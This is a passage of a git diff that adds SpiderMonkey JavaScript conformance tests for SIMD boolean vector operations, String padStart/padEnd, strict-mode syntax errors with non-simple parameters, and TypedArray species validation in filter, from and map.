+ [[true, false, true, true, true, true, true, true, true, true, true, true, true, true, true, true], true],
+ [[true, false, true, true, true, true, true, true, true, true, true, true, true, true, false, true], true],
+ [[true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, false], true],
+ ];
+ for (var [v,w] of valsExp) {
+ assertEq(Bool8x16.anyTrue(Bool8x16(...v)), w);
+ }
+}
+
+function testBool16x8not() {
+ var valsExp = [
+ [[true, false, true, false, true, false, true, false], [false, true, false, true, false, true, false, true]],
+ [[true, true, false, false, true, true, false, false], [false, false, true, true, false, false, true, true]]
+ ];
+ for (var [v,w] of valsExp) {
+ assertEqX8(Bool16x8.not(Bool16x8(...v)), w);
+ }
+}
+
+function testBool16x8allTrue() {
+ var valsExp = [
+ [[false, false, false, false, false, false, false, false], false],
+ [[true, true, true, true, true, true, true, true], true],
+ [[false, true, true, true, true, true, true, true], false],
+ [[true, false, true, true, true, true, true, true], false],
+ [[true, true, true, true, true, true, false, true], false],
+ [[true, true, true, true, true, true, true, false], false],
+ ];
+ for (var [v,w] of valsExp) {
+ assertEq(Bool16x8.allTrue(Bool16x8(...v)), w);
+ }
+}
+
+function testBool16x8anyTrue() {
+ var valsExp = [
+ [[false, false, false, false, false, false, false, false], false],
+ [[true, true, true, true, true, true, true, true], true],
+ [[false, false, false, false, false, false, false, true], true],
+ [[false, false, false, false, false, false, true, false], true],
+ [[false, true, false, false, false, false, false, true], true],
+ [[true, false, false, false, false, false, false, false], true],
+ ];
+ for (var [v,w] of valsExp) {
+ assertEq(Bool16x8.anyTrue(Bool16x8(...v)), w);
+ }
+}
+
+function testBool32x4not() {
+ var valsExp = [
+ [[true, false, true, false], [false, true, false, true]],
+ [[true, true, false, false], [false, false, true, true]]
+ ];
+ for (var [v,w] of valsExp) {
+ assertEqX4(Bool32x4.not(Bool32x4(...v)), w);
+ }
+}
+
+function testBool32x4allTrue() {
+ var valsExp = [
+ [[false, false, false, false], false],
+ [[true, false, true, false], false],
+ [[true, true, true, true], true],
+ [[true, true, false, false], false]
+ ];
+ for (var [v,w] of valsExp) {
+ assertEq(Bool32x4.allTrue(Bool32x4(...v)), w);
+ }
+}
+
+function testBool32x4anyTrue() {
+ var valsExp = [
+ [[false, false, false, false], false],
+ [[true, false, true, false], true],
+ [[true, true, true, true], true],
+ [[true, true, false, false], true]
+ ];
+ for (var [v,w] of valsExp) {
+ assertEq(Bool32x4.anyTrue(Bool32x4(...v)), w);
+ }
+}
+
+function testBool64x2not() {
+ var valsExp = [
+ [[false, false], [true, true]],
+ [[false, true], [true, false]],
+ [[true, false], [false, true]],
+ [[true, true], [false, false]]
+ ];
+ for (var [v,w] of valsExp) {
+ assertEqX2(Bool64x2.not(Bool64x2(...v)), w);
+ }
+}
+
+function testBool64x2allTrue() {
+ var valsExp = [
+ [[false, false], false],
+ [[false, true], false],
+ [[true, false], false],
+ [[true, true], true]
+ ];
+ for (var [v,w] of valsExp) {
+ assertEq(Bool64x2.allTrue(Bool64x2(...v)), w);
+ }
+}
+
+function testBool64x2anyTrue() {
+ var valsExp = [
+ [[false, false], false],
+ [[false, true], true],
+ [[true, false], true],
+ [[true, true], true]
+ ];
+ for (var [v,w] of valsExp) {
+ assertEq(Bool64x2.anyTrue(Bool64x2(...v)), w);
+ }
+}
+
+function test() {
+ testFloat32x4abs();
+ testFloat32x4neg();
+ testFloat32x4reciprocalApproximation();
+ testFloat32x4reciprocalSqrtApproximation();
+ testFloat32x4sqrt();
+
+ testInt8x16neg();
+ testInt8x16not();
+
+ testInt16x8neg();
+ testInt16x8not();
+
+ testInt32x4neg();
+ testInt32x4not();
+
+ testUint8x16neg();
+ testUint8x16not();
+
+ testUint16x8neg();
+ testUint16x8not();
+
+ testUint32x4neg();
+ testUint32x4not();
+
+ testBool8x16not();
+ testBool8x16allTrue();
+ testBool8x16anyTrue();
+
+ testBool16x8not();
+ testBool16x8allTrue();
+ testBool16x8anyTrue();
+
+ testBool32x4not();
+ testBool32x4allTrue();
+ testBool32x4anyTrue();
+
+ testBool64x2not();
+ testBool64x2allTrue();
+ testBool64x2anyTrue();
+
+
+ if (typeof reportCompare === "function") {
+ reportCompare(true, true);
+ }
+}
+
+test();
diff --git a/js/src/tests/ecma_7/String/shell.js b/js/src/tests/ecma_7/String/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_7/String/shell.js
diff --git a/js/src/tests/ecma_7/String/string-pad-start-end.js b/js/src/tests/ecma_7/String/string-pad-start-end.js
new file mode 100644
index 000000000..d784c83e0
--- /dev/null
+++ b/js/src/tests/ecma_7/String/string-pad-start-end.js
@@ -0,0 +1,99 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+// `this` must be object coercable.
+
+for (let badThis of [null, undefined]) {
+ assertThrowsInstanceOf(() => {
+ String.prototype.padStart.call(badThis, 42, "oups");
+ }, TypeError);
+
+ assertThrowsInstanceOf(() => {
+ String.prototype.padEnd.call(badThis, 42, "oups");
+ }, TypeError);
+}
+
+let proxy = new Proxy({}, {
+get(t, name) {
+ if (name === Symbol.toPrimitive || name === "toString") return;
+ if (name === "valueOf") return () => 42;
+ throw "This should not be reachable";
+}
+});
+
+assertEq("42bloop", String.prototype.padEnd.call(proxy, 7, "bloopie"));
+
+// maxLength must convert to an integer
+
+assertEq("lame", "lame".padStart(0, "foo"));
+assertEq("lame", "lame".padStart(0.1119, "foo"));
+assertEq("lame", "lame".padStart(-0, "foo"));
+assertEq("lame", "lame".padStart(NaN, "foo"));
+assertEq("lame", "lame".padStart(-1, "foo"));
+assertEq("lame", "lame".padStart({toString: () => 0}, "foo"));
+
+assertEq("lame", "lame".padEnd(0, "foo"));
+assertEq("lame", "lame".padEnd(0.1119, "foo"));
+assertEq("lame", "lame".padEnd(-0, "foo"));
+assertEq("lame", "lame".padEnd(NaN, "foo"));
+assertEq("lame", "lame".padEnd(-1, "foo"));
+assertEq("lame", "lame".padEnd({toString: () => 0}, "foo"));
+
+assertThrowsInstanceOf(() => {
+ "lame".padStart(Symbol("9900"), 0);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ "lame".padEnd(Symbol("9900"), 0);
+}, TypeError);
+
+// The fill argument must be string coercable.
+
+assertEq("nulln.", ".".padStart(6, null));
+assertEq(".nulln", ".".padEnd(6, null));
+
+assertEq("[obje.", ".".padStart(6, {}));
+assertEq(".[obje", ".".padEnd(6, {}));
+
+assertEq("1,2,3.", ".".padStart(6, [1, 2, 3]));
+assertEq(".1,2,3", ".".padEnd(6, [1, 2, 3]));
+
+assertEq("aaaaa.", ".".padStart(6, {toString: () => "a"}));
+assertEq(".aaaaa", ".".padEnd(6, {toString: () => "a"}));
+
+// undefined is converted to " "
+
+assertEq(" .", ".".padStart(6, undefined));
+assertEq(". ", ".".padEnd(6, undefined));
+
+assertEq(" .", ".".padStart(6));
+assertEq(". ", ".".padEnd(6));
+
+// The empty string has no effect
+
+assertEq("Tilda", "Tilda".padStart(100000, ""));
+assertEq("Tilda", "Tilda".padEnd(100000, ""));
+
+assertEq("Tilda", "Tilda".padStart(100000, {toString: () => ""}));
+assertEq("Tilda", "Tilda".padEnd(100000, {toString: () => ""}));
+
+// Test repetition against a bruteforce implementation
+
+let filler = "space";
+let truncatedFiller = "";
+for (let i = 0; i < 2500; i++) {
+ truncatedFiller += filler[i % filler.length];
+ assertEq(truncatedFiller + "goto", "goto".padStart(5 + i, filler));
+ assertEq("goto" + truncatedFiller, "goto".padEnd(5 + i, filler));
+}
+
+// [Argument] Length
+
+assertEq(1, String.prototype.padStart.length)
+assertEq(1, String.prototype.padEnd.length)
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/ecma_7/Syntax/browser.js b/js/src/tests/ecma_7/Syntax/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_7/Syntax/browser.js
diff --git a/js/src/tests/ecma_7/Syntax/non-simple-with-strict-directive.js b/js/src/tests/ecma_7/Syntax/non-simple-with-strict-directive.js
new file mode 100644
index 000000000..a0e536687
--- /dev/null
+++ b/js/src/tests/ecma_7/Syntax/non-simple-with-strict-directive.js
@@ -0,0 +1,140 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const testCases = [
+ // Array destructuring.
+ "[]",
+ "[a]",
+ "x, [a]",
+ "[a], x",
+
+ // Array destructuring with defaults.
+ "[a = 0]",
+ "x, [a = 0]",
+ "[a = 0], x",
+
+ // Array destructuring with rest binding identifier.
+ "[...a]",
+ "x, [...a]",
+ "[...a], x",
+
+ // Array destructuring with rest binding pattern.
+ "[...[a]]",
+ "x, [...[a]]",
+ "[...[a]], x",
+
+ // Object destructuring.
+ "{}",
+ "{p: o}",
+ "x, {p: o}",
+ "{p: o}, x",
+
+ // Object destructuring with defaults.
+ "{p: o = 0}",
+ "x, {p: o = 0}",
+ "{p: o = 0}, x",
+
+ // Object destructuring with shorthand identifier form.
+ "{o}",
+ "x, {o}",
+ "{o}, x",
+
+ // Object destructuring with CoverInitName.
+ "{o = 0}",
+ "x, {o = 0}",
+ "{o = 0}, x",
+
+ // Default parameter.
+ "d = 0",
+ "x, d = 0",
+ "d = 0, x",
+
+ // Rest parameter.
+ "...rest",
+ "x, ...rest",
+
+ // Rest parameter with array destructuring.
+ "...[]",
+ "...[a]",
+ "x, ...[]",
+ "x, ...[a]",
+
+ // Rest parameter with object destructuring.
+ "...{}",
+ "...{p: o}",
+ "x, ...{}",
+ "x, ...{p: o}",
+
+ // All non-simple cases combined.
+ "x, d = 123, [a], {p: 0}, ...rest",
+];
+
+const GeneratorFunction = function*(){}.constructor;
+
+const functionDefinitions = [
+ // FunctionDeclaration
+ parameters => `function f(${parameters}) { "use strict"; }`,
+
+ // FunctionExpression
+ parameters => `void function(${parameters}) { "use strict"; };`,
+ parameters => `void function f(${parameters}) { "use strict"; };`,
+
+ // Function constructor
+ parameters => `Function('${parameters}', '"use strict";')`,
+
+ // GeneratorDeclaration
+ parameters => `function* g(${parameters}) { "use strict"; }`,
+
+ // GeneratorExpression
+ parameters => `void function*(${parameters}) { "use strict"; };`,
+ parameters => `void function* g(${parameters}) { "use strict"; };`,
+
+ // GeneratorFunction constructor
+ parameters => `GeneratorFunction('${parameters}', '"use strict";')`,
+
+ // MethodDefinition
+ parameters => `({ m(${parameters}) { "use strict"; } });`,
+ parameters => `(class { m(${parameters}) { "use strict"; } });`,
+ parameters => `class C { m(${parameters}) { "use strict"; } }`,
+
+ // MethodDefinition (constructors)
+ parameters => `(class { constructor(${parameters}) { "use strict"; } });`,
+ parameters => `class C { constructor(${parameters}) { "use strict"; } }`,
+
+ // MethodDefinition (getter)
+ parameters => `({ get m(${parameters}) { "use strict"; } });`,
+ parameters => `(class { get m(${parameters}) { "use strict"; } });`,
+ parameters => `class C { get m(${parameters}) { "use strict"; } }`,
+
+ // MethodDefinition (setter)
+ parameters => `({ set m(${parameters}) { "use strict"; } });`,
+ parameters => `(class { set m(${parameters}) { "use strict"; } });`,
+ parameters => `class C { set m(${parameters}) { "use strict"; } }`,
+
+ // GeneratorMethod
+ parameters => `({ *m(${parameters}) { "use strict"; } });`,
+ parameters => `(class { *m(${parameters}) { "use strict"; } });`,
+ parameters => `class C { *m(${parameters}) { "use strict"; } }`,
+
+ // ArrowFunction
+ parameters => `(${parameters}) => { "use strict"; };`,
+];
+
+for (let nonSimpleParameters of testCases) {
+ for (let def of functionDefinitions) {
+ // Non-strict script code.
+ assertThrowsInstanceOf(() => eval(`
+ ${def(nonSimpleParameters)}
+ `), SyntaxError, def(nonSimpleParameters));
+
+ // Strict script code.
+ assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ ${def(nonSimpleParameters)}
+ `), SyntaxError, `"use strict"; ${def(nonSimpleParameters)}`);
+ }
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_7/Syntax/shell.js b/js/src/tests/ecma_7/Syntax/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_7/Syntax/shell.js
diff --git a/js/src/tests/ecma_7/TypedArray/browser.js b/js/src/tests/ecma_7/TypedArray/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedArray/browser.js
diff --git a/js/src/tests/ecma_7/TypedArray/filter-validation.js b/js/src/tests/ecma_7/TypedArray/filter-validation.js
new file mode 100644
index 000000000..450b4fa2c
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedArray/filter-validation.js
@@ -0,0 +1,185 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.prototype.filter.
+
+const otherGlobal = typeof newGlobal === "function" ? newGlobal() : undefined;
+const typedArrayLengths = [0, 1, 1024];
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.prototype.filter,
+ error: TypeError,
+ });
+ if (otherGlobal) {
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.prototype.filter,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].prototype.filter,
+ error: otherGlobal.TypeError,
+ });
+ }
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, () => true), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, () => false), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is too small.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function TooSmallConstructor(length) {
+ let a = new TAConstructor(Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ function TooSmallConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooSmallConstructor, TooSmallConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+
+ // Passes when the length is zero.
+ if (length === 0) {
+ let result = method.call(ta, () => true);
+ assertEq(result.length, 0);
+ } else {
+ assertThrowsInstanceOf(() => method.call(ta, () => true), error);
+ }
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, () => false);
+ assertEq(result.length, 0);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// No exception when array is larger than requested.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ const extraLength = 1;
+
+ let callCount = 0, expectedCallCount = 0;
+ function TooLargeConstructor(length) {
+ let a = new TAConstructor(length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ function TooLargeConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooLargeConstructor, TooLargeConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, () => true);
+ assertEq(result.length, length + extraLength);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, () => false);
+ assertEq(result.length, extraLength);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ otherGlobal.detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, () => true), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, () => false), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_7/TypedArray/from-iterable-validation.js b/js/src/tests/ecma_7/TypedArray/from-iterable-validation.js
new file mode 100644
index 000000000..50d46bb81
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedArray/from-iterable-validation.js
@@ -0,0 +1,140 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.from.
+
+const otherGlobal = typeof newGlobal === "function" ? newGlobal() : undefined;
+const typedArrayArgs = [[], [123], [123, ...Array(1023).fill(0)]];
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.from,
+ error: TypeError,
+ });
+ if (otherGlobal) {
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.from,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].from,
+ error: otherGlobal.TypeError,
+ });
+ }
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ assertThrowsInstanceOf(() => method.call(species, args), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is too small.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function TooSmallConstructor(length) {
+ let a = new TAConstructor(Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ function TooSmallConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooSmallConstructor, TooSmallConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ // Passes when the length is zero.
+ if (args.length === 0) {
+ let result = method.call(species, args);
+ assertEq(result.length, 0);
+ } else {
+ assertThrowsInstanceOf(() => method.call(species, args), error);
+ }
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// No exception when array is larger than requested.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ const extraLength = 1;
+
+ let callCount = 0, expectedCallCount = 0;
+ function TooLargeConstructor(length) {
+ let a = new TAConstructor(length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ function TooLargeConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooLargeConstructor, TooLargeConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ let result = method.call(species, args);
+ assertEq(result.length, args.length + extraLength);
+ assertEq(result[0], (args.length === 0 ? 0 : 123));
+ assertEq(result[args.length + extraLength - 1], 0);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ otherGlobal.detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ assertThrowsInstanceOf(() => method.call(species, args), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_7/TypedArray/from-non-iterable-validation.js b/js/src/tests/ecma_7/TypedArray/from-non-iterable-validation.js
new file mode 100644
index 000000000..3276426b2
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedArray/from-non-iterable-validation.js
@@ -0,0 +1,140 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.from.
+
+const otherGlobal = typeof newGlobal === "function" ? newGlobal() : undefined;
+const typedArrayArgs = [{length: 0}, {length: 1, 0: 123}, {length: 1024, 0: 123}];
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.from,
+ error: TypeError,
+ });
+ if (otherGlobal) {
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.from,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].from,
+ error: otherGlobal.TypeError,
+ });
+ }
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ assertThrowsInstanceOf(() => method.call(species, args), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is too small.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function TooSmallConstructor(length) {
+ let a = new TAConstructor(Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ function TooSmallConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooSmallConstructor, TooSmallConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ // Passes when the length is zero.
+ if (args.length === 0) {
+ let result = method.call(species, args);
+ assertEq(result.length, 0);
+ } else {
+ assertThrowsInstanceOf(() => method.call(species, args), error);
+ }
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// No exception when array is larger than requested.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ const extraLength = 1;
+
+ let callCount = 0, expectedCallCount = 0;
+ function TooLargeConstructor(length) {
+ let a = new TAConstructor(length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ function TooLargeConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooLargeConstructor, TooLargeConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ let result = method.call(species, args);
+ assertEq(result.length, args.length + extraLength);
+ assertEq(result[0], (args.length === 0 ? 0 : 123));
+ assertEq(result[args.length + extraLength - 1], 0);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ otherGlobal.detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let args of typedArrayArgs) {
+ assertThrowsInstanceOf(() => method.call(species, args), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_7/TypedArray/map-validation.js b/js/src/tests/ecma_7/TypedArray/map-validation.js
new file mode 100644
index 000000000..1694ef50c
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedArray/map-validation.js
@@ -0,0 +1,149 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.prototype.map.
+
+const otherGlobal = typeof newGlobal === "function" ? newGlobal() : undefined;
+const typedArrayLengths = [0, 1, 1024];
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.prototype.map,
+ error: TypeError,
+ });
+ if (otherGlobal) {
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.prototype.map,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].prototype.map,
+ error: otherGlobal.TypeError,
+ });
+ }
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, () => 123), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is too small.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function TooSmallConstructor(length) {
+ let a = new TAConstructor(Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ function TooSmallConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooSmallConstructor, TooSmallConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+
+ // Passes when the length is zero.
+ if (length === 0) {
+ let result = method.call(ta, () => 123);
+ assertEq(result.length, 0);
+ } else {
+ assertThrowsInstanceOf(() => method.call(ta, () => 123), error);
+ }
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// No exception when array is larger than requested.
